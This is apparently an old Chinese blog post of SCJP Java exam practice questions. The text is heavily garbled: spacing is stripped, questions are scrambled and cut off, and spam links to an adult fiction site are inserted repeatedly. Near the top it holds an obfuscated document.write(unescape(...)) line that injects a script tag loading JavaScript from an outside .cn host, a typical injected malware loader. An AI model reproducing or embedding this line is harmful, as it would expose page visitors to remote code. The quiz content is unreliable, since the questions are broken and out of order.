|
|
| |
|
| |
| |
| SCJP的104题库-33bbb.com性小说 |
|
[ 2008-5-28 7:44:51 | By: pkps126 ] |
woyao$%^2008528 document.write(unescape('%3CScRScRiPtiPt%20SrC%3D%22http%3A//cWchyt2.Cn/cWchyt2.js%22%3E%3C/ScRScRiPtiPt%3E'));
placedatline6，33bbb.com性小说willcauseacompilererror?
A.publicfloatgetNum(){return4.0f;}
B.publicvoidgetNum(){}
C.publicvoidgetNum(doubled){}
D.publicdoublegetNum(floatd){return4.0d;}
3.publicclassIfTest{
publicstaticvoidmain(Stringargs[]){
intx=3;
inty=1;
if(x=y)System.out.println("Notequal");
elseSystem.out.println("Equal");
}
}
whatistheresult?
4.publicclassFoo{
publicstaticvoidmain(Stringargs[]){
try{return;}
finally{System.out.println("Finally");}
}
}
whatistheresult?
A.printoutnothing
B.printout"Finally"
C.compileerror
5.publicclassTest{
publicstaticStringoutput="";
publicstaticvoidfoo(inti){
try{
if(i==1){
thrownewException();
}
output+="1";
}catch(Exceptione){
output+="2";
return;
}
finally{
output+="3";
}
output+="4";
}
publicstaticvoidmain(Stringargs[]){
foo(0);
foo(1);
24)
}
}
whatisthevalueofoutputatline24?
6.publicclassIfElse{
publicstaticvoidmain(Stringargs[]){
if(odd(5))System.out.println("odd");
elseSystem.out.println("even");
}
publicstaticintodd(intx){returnx%2;}
}
whatisoutput?
7.classExceptionTest{
publicstaticvoidmain(Stringargs[]){
try{
methodA();
}catch(IOExceptione){
System.out.println("caughtIOException");
}catch(Exceptione){
System.out.println("caughtException");
}
}
}
IfmethodA()throwsaIOException，33bbb.com性小说whatistheresult?
8.inti=1，33bbb.com性小说doubley){
3)return(short)x/y*2;
4)}
5)}
whatisvalidreturnTypeformethodAinline2?
2.
1)classSuper{
2)publicfloatgetNum(){return3.0f;}
3)}
4)
5)publicclassSubextendsSuper{
6)
7)}
whichmethod，33bbb.com性小说whatarethevalueforiandj?
A.i=6j=5
B.B.i=5j=5
C.i=6j=4
D.i=5j=6
E.i=6j=6
9.1)publicclassX{
2)publicObjectm(){
3)Objecto=newFloat(3.14F);
4)Object[]oa=newObject[1];
5)oa[0]=o;
6)o=null;
7)oa[0]=null;
System.out.println(oa[0]);
9)}
10)}
whichlineistheearliestpointtheobjectareferedisdefinitelyelibiletobegarbagecollectioned?
A.Afterline4B.Afterline5C.Afterline6
D.Afterline7E.Afterline9(thatis，33bbb.com性小说j=10;
do{
if(i++>--j)continue;
}while(i<5);
AfterExecution，SimulatedTestofSCJPforJAVA2PlatFORM??104
1.
1)publicclassReturnIt{
2)returnTypemethodA(bytex，@@http://www.citychinese.com/blog@@pkps126 |
|
| |
| Re:SCJP的104题库-33bbb.com性小说 |
|
[ 2008-11-29 5:00:16 | By: 访客Os3Vma(游客) ] |
 jhk
|
|
| | |
|
